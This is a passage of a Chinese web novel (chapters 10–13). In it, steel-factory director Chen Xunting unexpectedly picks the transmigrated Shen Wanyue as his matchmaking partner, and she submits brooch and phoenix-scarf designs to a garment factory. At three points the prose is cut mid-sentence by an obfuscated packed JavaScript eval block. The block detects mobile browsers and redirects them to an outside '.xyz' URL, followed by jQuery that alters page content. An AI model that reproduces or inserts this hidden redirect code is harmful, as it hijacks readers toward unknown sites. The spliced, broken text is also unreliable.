车里安静了一会儿,陈胜利还是忍不住,“哥啊,你就去瞅一眼吧,也不是逼着你找女人结婚,就当是帮老弟我完成任务,成不?”
陈勋庭看着窗外,“爷爷让你来的?”
“我爸呗,他早上看见你没去街道办,就猜着你一准又要跳票,这不,家里就我这一个壮丁,只能派我来押解……啊不是,来求着你去看看,你就去吧,不然奶奶那边,我爸也不好交代。”
听到这,陈勋庭顿了顿,答应了。
陈胜利:“太好了!诶哟,我这也算是守得云开见月明,我这跟个大姑娘盼丈夫回家一样,哥啊,感谢赏脸哈。”
陈勋庭:“……”
很快到了街道办,赶在下班前,陈勋庭被推进了组织部。
看见陈勋庭过来,席巧云还有些不敢相信,揉了揉眼睛,冲着陈胜利比了个大拇指。
陈胜利哈哈笑了两声,“云姨,赶紧给我哥介绍介绍,看有没有什么合适他的女同志。”
席巧云本来准备下班了去找钟强,随手就把沈晚月的资料放到了桌子旁边,转而拿出了孙燕的照片。
“今儿就有一个,人家知道你哥的大概情况,直接就点头说了愿意。”
席巧云说着将孙燕照片递过去,“勋庭你看看,这长相挺清秀的,才二十一岁,还是个老师,端的国家饭碗。”
“二十一?这么年轻?比我还小呢。”陈胜利凑过来瞄了一眼。
席巧云点头,“刚工作没多久,是个有心气儿的,说要找个干部领导才行,只要满足这一点,对男方没有别的要求,也不介意……”
席巧云不说,大家也都明白。
陈勋庭背景家世好,还是厂长,真要找肯定能找到。
可毕竟他年纪不小,还有两个孩孩子,有些女同志家里多少会有些介意。
席巧云小心打量着陈勋庭的神情,“你看成吗勋庭,要是成了,约个时间就能见面。”
10. 第 10 章
席巧云说着,又连忙补充:“要是没看上也没没事,只要你答应了接受相亲,跟婶儿说说你对女方的要求,我这儿天天有人家过来,多给你挑挑,找个喜欢的。”
陈勋庭出于礼貌,刚才接过了席巧云递过来的照片,但下一秒,就被他放到了桌子上。
陈勋庭:“谢谢二婶儿,麻烦二婶儿替我操心了,但我确实是没有这方面的打算。”
“……唉。”
席巧云沉默了片刻,虽然已经猜到了这种结果,但还是忍不住想再努努力,“勋庭啊,你别怪二婶儿多嘴,你爷爷奶奶年纪大了,他们眼下最大的期盼就是你能结婚,你也替他们考虑考虑。”
“他们那边我去说就行,二婶儿不用担心。”
“那,那你弟,胜利今天早上被你二叔催着结婚,他说你不结婚他就不结婚,眼瞅着他弟弟都要毕业找对象了,胜利还是没心思,你当大哥的,给胜利做个榜样。”
闻言,陈勋庭侧目过去。
陈胜利立刻感觉到脖子里凉嗖嗖的,梦回当年小时候自己逃课,被大哥抽屁股的那一幕,连忙摆摆手。
“我我我……咳咳,那什么,我当时不是顺口一说,咳咳,云姨,我是自己不想结婚的,我还小,想再玩两年,跟,跟大哥没关系。”
席巧云:“……”
没出息的陈胜利立刻缴械投降,席巧云也不好再说什么。
陈勋庭也已经站了起来,“二婶儿,那我就先走了。”
“唉,你这孩子……”
陈勋庭起身时,眼神就势落在了刚才席巧云放在桌子旁边的资料上。
【沈晚月】
陈勋庭已经转过身了,这个扫了一眼的名字却在脑海中海报一样放大了。
“二婶儿。”陈勋庭刚要走的脚步顿住,转过身。
这是同名同姓?
“怎么了?”
“这份资料是做什么用的?”
席巧云本来以为陈勋庭都要走了,有些猝不及防,迟钝了两秒才将沈晚月的资料拿起来。
“你说这位沈晚月同志的资料?”
“嗯。”
“这是今天过来相亲的女同志,我已经替她相看好了一个纺织厂工人,她那边也愿意见面,刚才正准备去工人家里说亲呢。”
陈勋庭:“……”
还真是……缘分。
陈勋庭闭上眼睛思索了一息,抬眸看了过去,“工人?叫什么?条件什么样?”
席巧云:“……啊?”
不怪席巧云没反应过来,实在是陈勋庭这一出跟闹鬼一样。
陈家人都知道,陈勋庭是个话少且不爱关心别人事情的性子,说白了就是座大石雕,平日里除了工作,眼睛里什么都看不见。
虽然不明所以,席巧云还是老实交代:“工人啊,就是普通的工人,名字叫钟超,女人前几年死了,还带着个闺女,老娘病着住在亭子间,要不是这条件差了点,不至于拖了一年没找到女同志愿意再婚的。”
“那这位同志愿意?”
陈勋庭口中的这位同志,显然就是沈晚月。
“嗯,这小沈同志也不容易,二十四岁年纪轻轻的,从外地过来还带了两个孩子,似乎她家里着急,不然一准还能再找到条件更好一些的。”
她同意?
陈勋庭脑海中浮现出了两次见面时,那女人芙蓉花似的面容。
她身体似乎不太好,找这么个男人,以后免不了操劳。
太阳晒一下就得中暑的人。
她能受得了?
估计没几天就要病了。
也许还得出去工作,操持家里孩子,照顾丈夫老娘。
可能以后连多余出门的时间都没有了。
但她家里着急……
“二婶儿觉得他们俩合适?”陈勋庭莫名冒出来这么一句。
席巧云也是奇了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814740|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪,今天陈勋庭怎么对一个陌生人这么多话起来。
愣了愣,席巧云摇头:“钟强对女方没要求,同意结婚就行,女方……女方没照片,我也就知道这么个大概情况,不过她家里着急,合不合适的,既然同意了见面,应该是能成的。”
言下之意,合不合适不重要。
对这两个人而言,能结婚,就足够了,这才是最重要的。
陈勋庭听完以后,仍旧是没有离开的意思。
他不走,席巧云跟陈胜利也都只能等着他。
陈勋庭沉默着,脑海中却有一个他觉得疯狂的念头在野草一样的生长。
从脑海中,一直长到心里去,在他的左胸口狠狠扎了根。
他既然帮过忙,也许应该帮到底。
他理应帮助困难群众。
陈勋庭这样想。
他觉得十分合理妥帖。
于是——
“二婶儿,我答应相亲。”
“……啥?!!”
“卧槽大哥,我是不是做梦呢?”
席巧云跟陈胜利一番错/乱之后,两个人心绪还是久久不能平息。
陈胜利跟中了邪一样,念念叨叨,躲在角落里喃喃自语,“不可能吧,我大哥这是什么情况?早上没注意,太阳从西边升起来的?黄河的水是不是改流向了,我是不是还没睡醒啊……”
席巧云反应的快一点,一边高兴,一边又紧张,生怕陈勋庭反悔似的。
“勋庭啊,你答应相亲就好,你说要什么条件的女同志,二婶儿我加班加点给你相看,要不这样,二婶儿明儿再去联系联系附近的媒人,都……”
“二婶儿。”陈勋庭语气淡淡:“不用这么麻烦,我看你手上这份资料就可以。”
“这……啊?你说沈晚月同志?”
“嗯。”
陈勋庭面无表情的点头,跟个僵尸似的,动作带着他自己都没发觉的僵硬。
11. 第 11 章
已经到了下班时间,可街道办组织部却依旧没有关门。
席巧云到现在都还没有从刚才的震惊中缓过来。
陈勋庭答应相亲,已经够让人意外了,但他竟然还指定了一位陌生的女同志相亲,这可不仅仅是意外,属于是开天辟地都难得一见了。
就连蹲墙角的陈胜利听了信都走过来,从席巧云手里接过资料。
“这位沈同志就只有这些资料,连照片都没有吗?”陈胜利震惊又疑惑。
席巧云:“从外地过来的,是她远房亲戚跟我口述的资料,哪里会有照片。”
“两个孩子,不过年纪只有二十四岁。”陈胜利念着上面的字,抬起头怔怔看向陈勋庭。
“哥,你确定要跟这位同志相亲?”
“有问题?”陈勋庭反问。
“不是不是。”陈胜利扣扣脑门,“你不是一直找借口说不想耽误别人家女同志吗,要说起来,她两个崽儿你两个崽儿也算是适配,但脾气秉性家庭背景这些都不清楚,撇开爷爷奶奶同不同意,这也不知道长相,万一……”
陈勋庭语气淡淡,说出了更重磅的消息:“我见过。”
“……啊?好家伙,原来是一见钟情天赐良缘?”
陈勋庭:“……”
他只是想到这两次意外见面的这个沈晚月,就想自己或许可以帮她忙而已。
而且,自己不是也需要一个女人来应付家里的催婚,算是……
两全其美。
“还说你早就盯上了人家,预谋已久,那这位女同志一定有什么特殊的地方,不会是什么天仙下凡吧,这得长得多漂亮,才能让我大哥……”
陈胜利还没说完,就被席巧云打断了。
“咳咳咳,有相亲的想法就好,只要是认真过日子的女同志,不管家室背景,家里知道了一准高兴。”
席巧云终于反应过来了,生怕陈勋庭反悔,连珠豆子的开口:“沈同志那边已经答应了见面,这临时换人,还是得跟她说一声,问问同不同意。”
“应该如此,麻烦二婶儿问一下吧。”
“我现在就问。”
桌子上,钟强的资料在席巧云转身的时候,再一次被收到了抽屉里。
对不住了钟强同志,陈勋庭的事儿能成,一准给你再好好找个媳妇儿。
……
“203,有电话找你们!”
正无聊的沈立民一个鲤鱼打挺蹦起来,跑着去帮姐姐接电话。
“你好同志,请问是沈晚月同志的家属吗?”
“没错,是要约相亲见面的时间吧,同志你说我记一下就行。”
“……是这样的同志。”
席巧云总结了一下语言,谨慎的开口:“除了上午介绍的钟强同志,还有一个不错的人选,不知道沈晚月同志愿不愿意换个相亲人选。”
“啊?”
沈立民顿了顿,皱起眉,因为顾家人的缘故,他下意识的起了防备心。
“你们是不是不太靠谱啊,上午顾家过来,要不是我们问的清楚,连他有个生病的老娘都不知道,这次换的人又是什么条件?”
席巧云有些尴尬的笑笑:“我跟你家亲戚介绍的时候并没有隐瞒,应该是你家亲戚的问题,这不是我能控制的,同志你不要误会。”
沈立民仍旧是不高兴,换了谁,恐怕都有种被放鸽子的感觉,这种临时换人的事儿,在乡下都不多见。
“可是……”
“怎么了?”
晚一步下楼的沈晚月走过来,眨眨眼看着弟弟紧皱的眉头,心里想到什么:“……相亲出问题了?”
而电话那头。
席巧云握着电话通,也有些发愁的跟陈勋庭对视了一眼。
这要是女方不同意该怎么办?
沈立民将情况说了一下后,沈晚月接过了电话筒。
“你好同志,我是沈晚月,可以说一下换人的原因吗?”沈晚月清楚,顾家人的问题跟那边没关系,不过她也想问个清楚。
席巧云认真说:“之前是我没考虑周到,钟强家里住的是亭子间,你这边还带着两个孩子,恐怕到时候大通铺都住不下,满足不了你要求有住处的条件,但当时没有更合适的人选,你亲戚又催的着急,就定了钟强同志。”
“好的我了解了,那第二个男同志的大概情况可以也介绍一下吗?”
席巧云:“这个绝对合适!男方三十岁有两个孩子,不过,各方面条件都比钟强好很多,工作稳定工资也高,家里也没有负担,你可以完全放心。”
听着对方忽然高亢的语气,沈晚月犹豫了一下。
在媒人嘴里,瘸腿的都能说成是老实不爱出门,她对这个‘好很多’礼貌表示质疑。
“这位同志叫什么?”沈晚月下意识又问。
席巧云沉默两秒。
因为陈勋庭身份原因,还有一部分他个人原因,席巧云是不能直接说他名字的,毕竟炼钢厂厂长的身份,只要拿出来,全市看过报纸稍微关注的人都知道。
“陈勋庭。”
没等席巧云开口,反倒是旁边的陈勋庭自己先说了。
他神色如常,看起来好像也并不怎么在意。
席巧云点点头,又给电话那头重复了一遍。
沈晚月隐约听到了个男人的声音,她以为只是其他工作人员,也没有当回事儿。
不过,陈勋庭这个名字……
怎么这么熟悉呢?
“沈晚月同志。”
电话这边,席巧云又仔细想了一下,再次开口:
“我能理解你,毕竟出门在外,是该有些防备,你看这样行不行,我是沪市东区金桥办事处的组织部组长,我叫席巧云,如果你同意见面,到时候我可以拿着我的工作证,跟陈勋庭一块同你见面。”
身为女人,席巧云完全能够理解沈晚月。
她在这里人生地不熟,说个亲又中间换了人,任谁都要有几分防备才对,而且她还带着孩子,往后的日子那么长,找男人自然要多多斟酌。
席巧云话说到了这个份上,沈晚月也感受到了对方诚意。
她握着电话听筒的手紧了紧,应了下来,又约定了时间后,才把电话给挂断。
沈立民:“姐,这不会是骗人的吧,比之前条件更好的人,谁知道是真是假,万一工作是假的呢?不行!到时候见面了我陪你去,还得让那个男人出示他的工作证明,最好婚前再去住处看一看。”
电话挂断,沈晚月还在努力的从脑海中搜寻好像被自己遗忘的部分记忆。
“先别吵。”
沈晚月一路思索着上了楼,刚坐下,思路就又被打断了。
“后天下午就见面?”沈建国听完同样有些奇怪,又说:“要不这样,我想想办法,看能不能在这边找到老乡,然后打听打听这个什么陈勋庭,电话里说他在哪儿工作了吗?”
沈立民:“是在炼钢厂上班,不过大哥,咱乡下的亲戚朋友连县城少去,往哪儿找什么熟人老乡啊。”
炼钢厂?
‘叮’的一声,沈晚月脑子里冒出来一个自己都觉得不可思议的念头。
“今天先休息吧。”沈晚月站起身准备去隔壁睡觉,“大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814741|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哥,老乡不好找,要不明天你还是去炼钢厂附近,找里面的同事打听一下看看有没有这号人。”
其实沈晚月脑海中已经想起了什么,但她还想再确认一下。
“嗯,我明儿一早就去。”
屋里两个孩子早已经睡着了,沈晚月关上门,从门后拿出了前天那把炼钢厂陈厂长送的黑色尼龙雨伞。
在沈晚月印象中,身为厂长,怎么也该是孟厂长那种两鬓白发的模样。
可她却清楚记得,这位陈厂长长相英俊有气派,丝毫不显老气,他似乎很喜欢黑色,当然,黑色也很衬他的气质。
沉稳、沉默,神色冷峻。
“陈……”
沈晚月默默念了一遍这个名字。
当时匆忙之下,她甚至认错了人,再加上又要去找顾清树,当然也就没顾得上去问这位陈厂长的名字。
但是,沈晚月却知道,在原书中,后期男主顾清树有个死对头,或者说是作者为了后期的高潮,强行安排的一个所谓‘大反派’。
大反派的名字就叫陈勋庭。
因为两世记忆加起来太混乱了,如果不是把‘炼钢厂’跟‘陈勋庭’两个词放在一起,她差点就给忘了。
原书中,顾清树在后期终于克服了种种困难,当上了纺织厂的厂长,还领养了‘表妹’家的两个孩子,可他本该要享受美好生活时,却突然发生了意外。
炼钢厂跟纺织厂长期合作的运输上出了问题,陈勋庭举报了纺织厂的厂长在其中贪污受贿,克扣工人福利。
顾清树因此立刻被停职调查,不过拖了几个月,他当然还是被成功洗白,继续当他的厂长。
而陈勋庭却在这件事后,主动申请调离沪市,去了别的地方发展。
书中写,这个大反派陈勋庭脾气冷厉,喜怒无常,是个冷面阎罗。
但陈勋庭心中有个极其柔软的存在,就是他的白月光前妻。
前妻留下了两个孩子去世后,陈勋庭一生未娶,全身心扑在了工作上,连家都不怎么回,两个孩子都跟他渐行渐远,甚至这个冷冽的反派角色没少被读者骂,说他只是在立爱妻人设,不然不会连孩子都讨厌他。
所以……
沈晚月看着手里的雨伞发愣。
自己遇见,可能真的是炼钢厂厂长陈勋庭。
可他主动帮助群众,甚至还把伞送给了自己,不是证明他没有书里写的那么可怕吗?或许他真的有一个白月光前妻也说不定。
想了许久,沈晚月也没想明白怎么自己就跟这位反派大佬相上亲的。
眼瞧时间不早了,她把伞重新放回了门后,躺了下去。
黑暗中,沈晚月听着自己的心脏在跳。
虽然陈勋庭看起来冷漠了点,但通过一次短暂的接触,沈晚月感觉他其实不算个坏人。
就算是在书里,他所谓的‘反派’标签,也是因为他想要帮工人争取利益,才举报的顾清树。
虽说有两个孩子,但他工资也高,是个工作狂魔,回家不多,但……
但她好像并不在意。
她目前的需要只是有个住处安定下来。
至于男人年纪大工资高有低保还不回家,这不是理想中的状态吗?
就是不知道他对女人到底是个什么态度……
看来只能等见面的时候再多了解了解了。
想来想去,沈晚月不知不觉有了困意,渐渐呼吸平稳下来。
天边无月,夜色深沉静谧。
两小时前的东区金桥街彩灯巷子,陈宏伟拎着刚买的卤圈子、鲈鱼,喜气洋洋朝着父母家走去。
12. 第 12 章
同在一条街道的不同巷子,走路也不过十来分钟的距离,但身为亲戚,除了陈胜利小时候经常往爷爷奶奶家跑找陈勋庭一起玩,等陈勋庭大了些分了自己的房子后,来往便少了,平时偶有聚会,也都是在爷爷奶奶家。
“勋庭到了没?”
陈宏伟推开门喊了一声,“我买了鲈鱼跟蜜枣山药糕这些小孩子喜欢的,他带着俩孩子呢吧。”
席巧云带着孙子跟陈胜利先一步到了,这会儿正在厨房操持着一块儿做饭,打开窗户招呼:“文杰带着文星松柏俩在后院玩儿,爸妈再跟勋庭说话,你把卤圈子递进来,带着蜜枣糕去后院。”
“诶,知道了。”
陈宏伟高兴,媳妇儿说什么就听什么,还帮着把卤圈子给切好以后,才又去找几个孩子。
“哥哥,我也想玩。”
后院,陈松柏扒拉着陈文杰的胳膊,想要抢他手里的飞镖。
陈文杰十六了,比十四岁的陈松柏高出来一头,小男孩扒拉了半天也没碰到陈文杰的手,气的在旁边直跺脚。
五岁的陈文星抱着个篮球在旁边拍打,看着哥哥扔出去的飞镖,害怕的躲在最远的墙角。
“陈文星,你帮我一起对付他。”陈松柏着急的找人帮忙。
“……”陈文星一愣,摇了摇头。
陈松柏哼了一声,“因为他是你哥是吧,你们俩欺负我!”
陈文星吓得一哆嗦,连忙又摇头,“没、没有。”
陈文杰是他哥,所以他也最知道他哥的厉害,他哥要是不给别人玩自己的东西,就算是打他一顿也不会给别人,他胆子小,才不去招惹他哥呢。
“胆小鬼。”陈松柏朝着陈文星做了个鬼脸,“你不知道呢吧,你爸马上要给你找后妈了。”
陈文星手里的篮球一下子掉在了地上。
其实,他还不能理解后妈的意思,但他记得,好像之前有人经常说现在的爸爸是他的后爸。
在他十分模糊的记忆里,已经不记得自己还有个前爸了,但却知道,自己现在的后爸,是个很凶很凶的大人……
虽然后爸没有凶过自己,但却凶过哥哥,所以他从来不敢惹后爸生气。
“你是不是不知道后妈什么意思?”陈松柏哈哈大笑,冲了过去,“有了后妈就有后爹,你爹以后对你肯定越来越不好,你要倒霉咯……”
“陈松柏!”
陈宏伟走过来的时候,就听到了最后一句话,气的抄起墙边的扫帚就冲了过去,扬起胳膊作势打人。
“臭小子,谁教你说的这些话,上学不知道好好学习,一天天就知道欺负弟弟!”
“爷爷,我们班上的同学都这么说的,我没有欺负他,我是跟他聊天呢。”陈松柏说着,撒丫子就往厨房跑,一边跑一边喊奶奶救命。
陈宏伟气的想要追过去,可转头看见已经红了眼眶的陈文星,连忙快步走过去。
陈文星反而被吓得又一哆嗦,终于忍不住哭了起来。
这孩子一直胆子小,家里人也都知道,陈宏伟赶紧扔了手里的扫帚,抱着安慰了好一会儿,才把人给哄好。
“别听那个臭小子乱说,你爸爸最疼你,就算找妈妈也会找疼你的妈妈,快别哭了。”
陈宏伟说着掏出来蜜枣糕,“看这是什么?我只给你,不给陈松柏,等回家去了,我再惩罚他欺负你。”
陈松柏是陈宏伟二儿子的独子,一直以来在爷爷奶奶身边养大,娇气惯了,哪里真的会罚他。
可陈文星却信了。
年画娃娃一样的小孩子自己给自己擦了擦眼泪,转头咬了一口蜜枣糕后,委屈的说:“二爷爷别罚他了,我没事了。”
陈宏伟心里一软,感叹着自家孙子要是有陈文星这么听话懂事该多好。
“文杰,你也来吃。”陈宏伟起身招呼陈文杰。
陈文杰只是扭头看了一眼。
小少年的身量已经快有大人那么高了,瘦瘦的,脸颊上长着几颗雀斑。
“不用了。”
陈文杰转过头,继续玩着那几个怎么也打不中靶子的飞镖。
陈宏伟琢磨了一下,走过去,“刚才松柏的话你也别在意,虽说你爸结婚的事儿还早,但早晚是要结的,你不要有心理负担,没人会为难孩子,而且你爸也疼你俩,别想太多。”
‘啪嗒’一下,又一个飞镖落了地。
还是没有中靶,甚至连靶子的边都没挨上。
陈文杰咬咬牙,扭头跑过去把飞镖再次捡了起来,继续尝试。
整个过程,丝毫没有搭理陈宏伟的意思。
陈宏伟有些尴尬,才要继续说什么,陈文杰这才开口:“二爷,我什么也没想。”
陈宏伟松了口气,笑了出来,“那就行,你们两个都是好孩子,我先进去,等会儿吃饭了喊你们。”
“嗯。”
等陈宏伟离开,陈文杰再一次扔完了手里的飞镖。
他转头看见还在墙角吃蜜枣的陈文星,皱了皱眉,“就知道哭,没出息。”
“……QAQ”
好不容易不哭的陈文星愣了愣,嘴巴一咧眼圈又红了。
……
家里这次聚餐是为了陈勋庭,他答应了相亲,家里人都高兴,陈铁军老两口本来想拉着他问问跟这个女同志到底是怎么个情况,可人到了以后,只要提起来,陈勋庭就一言不发。
等饭都吃完了,也没从陈勋庭嘴里得知人家半点消息。
陈勋庭不说话,却想了很多。
吃完饭回到家,他独自一人坐在沙发上,看着手里的报纸,思绪却跑到了白天沈晚月那张资料表上。
他是不是太冲动了?
陈勋庭自诩是个冷静沉着的人,生活在的一切都被他安排的井然有序,很少有冲动甚至着急的时刻。
可这次……
如果不是冲动,他完全不可能跟席巧云说那样的话。
正常情况下,他只会再考虑一遍自己的情况,他这样一个不着家,甚至连孩子都不愿意亲近的人,把人家娶过来,人家肯定觉得受冷遇。
也许……还不如在普通人家,若是跟丈夫感情好,日子辛苦些,但或许也会很幸福。
有那么一瞬间,陈勋庭甚至想着要不取消这次相亲的好。
不过这个想法到了嘴边,他却始终说不出来。
既然已经答应了,就不该反悔。
到时候,多给些补偿就罢了。
-
一夜无梦,沈晚月醒的时候,两个孩子已经跟着沈立民去吃早饭了。
她洗漱后简单喝了点水并没有急着下楼,而是找了纸,自己坐在屋子里对着昨天出去买的稿纸思索着什么。
穿过来以后,沈晚月这具身体状况一直很差,有很长一段时间,她都只能躺在家里修养,等好了又开始搜集顾清树的消息,之后就直接来了沪市。
这段时间里,她不是没有考虑过工作的事情,只是腾不出来时间,直到昨天去买了稿纸,今天出终于找出来一段闲着的时间坐下。
沈晚月理工科出身,大学的专业是服装设计。
毕业后直接进了大厂的产品设计研发部门,后来互联网自媒体兴起,她从前又是以美术艺术生身份考的大学,干脆辞了职,想着用自己的积蓄借住互联网自主创业,打造属于自己的品牌公司。
只是公司才刚起步,她刚展望完自己未来的创业版图,一觉醒来,就穿到了这里。
这个时代连收音机都没有普及,电视电脑这些更是不可能有的,想要重操旧业,也就沪市这样的大城市或许能给她一个机会。
思想来去,沈晚月决定还是先回归自己的老本行,从最普
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14814742|158663||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通的服装配件设计做起。
服装配件算是上学时比较入门的课程了,抛开复杂的人体结构知识,这些小物件可以有多种复杂的设计方式,打板成本低廉,作为新人,很容易被公司采纳试用。
而且这年代的衣服其实称不上时装,流行的服饰千篇一律,想要在这上面做功夫,她一个没什么成绩的新人,显然不好被接受。
不过配件设计就简单多了。
她们上过中西方的服饰美学课程,凭借着对工艺美术史跟这个时代的了解,两相结合后,很快便有了灵感。
笔随心动,脑海中有了画面,安静地屋里很快便响起了铅笔勾勒的沙沙声。
她选择的配件是胸针跟丝巾,看似是很小的物件,但戴在身上,很容易起到画龙点睛的效果,也很容易被不想改变穿衣风格的人接受。
铅笔并不顺手,但好在沈晚月足够熟练,再加上有灵感,很快,稿纸上便有了设计雏形,再经过一上午时间的调整润色,她感到脖子疼时,再抬头已经到了中午。
“妈妈,吃饭啦——”
沈晚月点点头揉着脖子,琪琪跟天凯已经走到了自己身边。
“哇,好漂亮的扣子!”
天凯看着稿纸上的胸针大声感叹,“妈妈,你画的扣子好漂亮啊,上面的花花像是之前在画报里看得那种,不对不对,比画报里面的还好看!”
第二章的丝巾也随之露了出来,天凯愣了愣,又大喊,“妈妈,这个三角毛巾上是蛇吗?但是这个蛇蛇也好漂亮。”
“笨蛋。”琪琪嫌弃的看了眼弟弟,转而拿起稿纸,“妈妈这画的是凤凰吧,我之前在画报里看过,不过妈妈画的花纹更美。”
“是凤凰纹,但不是凤凰,另一个……也算是扣子的一种吧。”沈晚月笑眯眯的解释。
她没有画传统的对称丝巾,而是在丝巾左端设计了简笔的凤凰,后面的纹路再从左端蔓延出去。
“可真漂亮。”
琪琪的手小心翼翼抚上去,轻轻碰了碰:“要是能变成真的,肯定更好看。”
那得看服装厂给不给这个机会了。
“说不定真的可以变成真的。”
沈晚月说着收起画稿,安抚着两个孩子先去吃饭。
沈建国是中午回来的,他说出打听到陈勋庭是炼钢厂厂长这个消息时,沈立民吓得差点从椅子上摔下去。
沈建国也同样,打从打听完消息,便一直心慌的厉害,总觉得是自家妹子被骗了。
“说不定还真是大厂长呢。”
沈立民猜测着,但沈晚月心里已经几乎可以确定了,八成就是他。
可他只是跟自己见了两面,怎么一眨呀,就成自己相亲对象了?
沈晚月理工科出身,逻辑算数上的问题她稍稍动下脑子就能想明白。
可是碰到人际关系跟感情,脑子就容易打结。
从前谈过几段校园纯爱,对方都说她太迟钝了,可是……
可是现在就是天降一百万,沈晚月也不相信这男人是对她所谓的‘一见钟情’。
这个词语,在沈晚月这边是根本不成立的。
沈晚月:“骗不骗的,想那么多不还是要去见面,到时候立民陪着我去,还怕他会拐外了我不成?”
感情上想不明白,那就等到时候当面问个清楚。
相比猜测,她更喜欢有话直说,有问题直接问,能省去不好弯弯绕绕的麻烦。
沈晚月想明白后,倒是不怎么在意。
兵来将挡水来土掩,她丝毫不慌。
况且,她现在还有其他的事情要忙。
相亲时间定在了明天下午,但是沈晚月昨天从报纸上看的服装厂招聘广告截止时间也是明天。
她得赶在明天之前把设计稿再完善完善,等明天上午就给服装厂送过去。
13. 第 13 章
现在沪市为了密集产业链节省成本,几个稍微大点的厂都集中转移到了南区的平淞河流域附近。
也就是上次她曾去过的纺织厂附近。
第二天一早,沈晚月按照上次的公交车路线,坐了约摸半小时,再次站在了纺织厂前的公交站旁,不过这次她要去的是再远一些的服装厂。
“同志你好,请问你们这边招设计方面的工人吗?”
“不招不招。”
没有意外的,沈晚月得到了否定的答复,门岗处头都没抬,就挥了挥手示意沈晚月尽快离开。
毕竟这年头想找工作的人太多了,赶上日子,一天十几个来问有没有工作的。
厂里临时的搬运装车工倒是偶尔有空缺,但设计这种职位,那都是高材生才有机会接触的工作机会。
沈晚月来前便知道可能会这样,转头将刚买的信封写上名字后递交到了门岗处。
“同志,我从报纸上看到过服装厂的招工广告,这里面是我的简历,麻烦替我转交。”
门岗有接收邮件的职责,听她这样说,那人仍是没抬头。
“这个倒是没问题,你就放到旁边盒子里吧,那里面都是今天才送过来的简历,晚一点会统一拿进去。”
“谢谢。”
沈晚月递交过去后就准备离开,结果意外的是,服装厂大门忽然打开,里面熙熙攘攘挤着出来了十几个人,最中间的男人年纪有些大,但却笑盈盈的对着旁边一个青年说着什么。
等走近了,沈晚月才听出来他是在给青年介绍服装厂的情况。
“搬迁以后的服装厂比之前规模更大,除了刚才车间的扩张以外,我们再设计方面也有人才引进计划,除了已经联系了刚回国的毛师傅来坐镇,还刊登了广告广纳贤士,比如……”
随着他们越走越近,中间的男人脑袋一转,目光落在了看热闹的沈晚月身上。
“比如这位女同志!”
男人像是抓到了什么稻草,眼睛放着光走了过来。
沈晚月本来就是个路人,热闹还没看到,就见他们已经大步朝着自己走过来。
沈晚月:“……”
“同志,我想你一定也是看了我们的广告才来应聘的吧。”
乱入的沈晚月愣了愣,没等她开口,刚才门岗房里抱着脑袋看连环画的看门师傅已经笔直的站了起来。
“报告牛主任!这位同志刚把自己的简历送到我这边!”看门师傅声如洪钟,好似刚才对沈晚月爱答不理的是另一个人。
沈晚月掩饰了眼神中的无奈,淡淡点了点头,“是的,我看了广告后才来投的自己的设计稿。”
“看!”
牛主任神采飞扬,声音洪亮,把沈晚月吵的默默后退了半步。
再加上后面有摄像机在,沈晚月这个没怎么面对过镜头的老百姓,一时间还有些局促。
“时代发展靠的是人才!而我们正在努力把人才聚集到服装厂,相信在不久的未来!一定能设计出更多让大众喜爱的服饰!”
“同志!”
“……怎么了?”
“方便将你的设计稿拿出来给我们展示一下吗?也算是我对你的提前面试,怎么样?”
在设计方面,沈晚月对自己还是很自信的,没有犹豫点了头。
门岗师傅立刻拿出她刚放进去的信封,牛主任接过来,看了眼上面的名字,大笑了三声。
“好好好,那就借这个机会,让我们来一起检验下这位……沈晚月小同志的水平如何。”
沈晚月?
牛主任旁边举话筒的青年猛地侧过头。
陈胜利今天来服装厂是组织上安排的外采任务,但他怎么也没想到,竟然在这里提前见到了自己这位神秘的未来大嫂。
沈晚月今天穿是棉布蓝色短衫,半长的头发被她用略大的发夹斜斜挽在后面,很随意的挽发,但却美的突出。
微风轻拂过碎发,漂亮的眸子边,那可微红的泪痣都好似在跟着颤动。
真……美啊。
陈胜利无声的发出感叹。
她的美不同于那种可以言说浮于表面的漂亮,而是从内而外的散发着一种夺目的魅力。
知性,大方,美艳。
这是陈胜利在这一眼间得出的结论,他的大哥,真是赚到了。
可是这样漂亮的女人怎么就能单身还有两个孩子了呢?
没等陈胜利多想,牛主任那边已经报发出了更加大声的感叹。
“这胸针上设计的海棠花简直太完美了,你是怎么想出来加入珍珠点缀的,凤凰纹丝巾也很有设计感……小沈同志,你是哪所高校的学生?”
小沈同志愣了愣,茫然的眨眨眼。
“学校?”
“对。”
小沈搜寻着原身的记忆,理智又坦率:“在里坝镇二里沟第二中级学校。”
话音落地,四周空气好像都凝固的一秒。
满怀期待的牛主任目瞪口呆。
